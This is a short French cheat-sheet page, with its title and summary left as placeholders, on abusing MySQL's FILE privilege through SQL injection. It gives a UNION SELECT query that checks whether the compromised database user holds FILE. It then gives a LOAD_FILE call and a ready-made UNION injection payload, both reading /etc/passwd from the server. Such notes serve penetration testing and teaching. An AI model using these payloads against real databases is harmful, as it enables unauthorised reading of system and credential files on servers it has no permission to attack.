Title here
Summary here
Si l’utilisateur MySQL que l’on usurpe possède la permission FILE, il est alors possible de charger le contenu d’un fichier dans une table et de pouvoir en lire le contenu.
Pour connaître la présence de cette permission :
UNION SELECT 1, grantee, privilege_type, 4 FROM INFORMATION_SCHEMA.user_privileges WHERE grantee="$grantee"Si FILE est retournée, alors il est possible de charger un fichier avec la fonction LOAD_FILE()
SELECT LOAD_FILE('/etc/passwd');
# Exemple dans une injection SQL UNION
' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -